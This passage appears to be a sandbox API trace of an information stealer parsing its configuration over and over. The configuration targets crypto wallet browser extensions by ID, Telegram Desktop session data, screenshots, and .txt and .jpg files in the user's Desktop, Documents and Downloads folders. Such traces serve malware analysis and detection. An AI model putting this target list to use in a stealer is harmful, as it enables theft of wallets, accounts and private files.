Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0260.610] lstrlenW (lpString="ews_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 1340 [0260.610] lstrlenW (lpString="ews_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 1340 [0260.610] LocalAlloc (uFlags=0x40, uBytes=0xa78) returned 0x6b9720 [0260.610] lstrlenW (lpString="ews_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 1340 [0260.610] LocalAlloc (uFlags=0x40, uBytes=0xa78) returned 0x6ba1a0 [0260.611] lstrlenW (lpString="ews_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 1340 [0260.611] LocalAlloc (uFlags=0x40, uBytes=0xa78) returned 0x6bac20 [0260.611] StrStrW (lpFirst="ews_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="_") returned="_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0260.611] lstrlenW (lpString="ews_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 1340 [0260.611] LocalAlloc (uFlags=0x40, uBytes=0xaf8) returned 0x6bb6a0 [0260.611] StrCpyW (in: psz1=0x6b9720, psz2="ews" | out: psz1="ews") returned="ews" [0260.611] LocalFree (hMem=0x6bb6a0) returned 0x0 [0260.611] StrStrW (lpFirst="ews_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0260.611] lstrcmpiW (lpString1="ews", lpString2="libs") returned -1 [0260.612] LocalFree (hMem=0x6b9720) returned 0x0 [0260.612] LocalFree (hMem=0x6ba1a0) returned 0x0 [0260.612] LocalFree (hMem=0x6bac20) returned 0x0 [0260.612] StrStrW (lpFirst="ews_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0260.612] lstrlenW (lpString="ews_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 1262 [0260.612] lstrlenW (lpString="ews_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 1262 [0260.612] LocalAlloc (uFlags=0x40, uBytes=0x9dc) returned 0x6b9720 [0260.612] lstrlenW (lpString="ews_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 1262 [0260.612] LocalAlloc (uFlags=0x40, uBytes=0x9dc) returned 0x6ba108 [0260.612] lstrlenW (lpString="ews_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 1262 [0260.612] LocalAlloc (uFlags=0x40, uBytes=0x9dc) returned 0x6baaf0 [0260.612] StrStrW (lpFirst="ews_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="_") returned="_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension 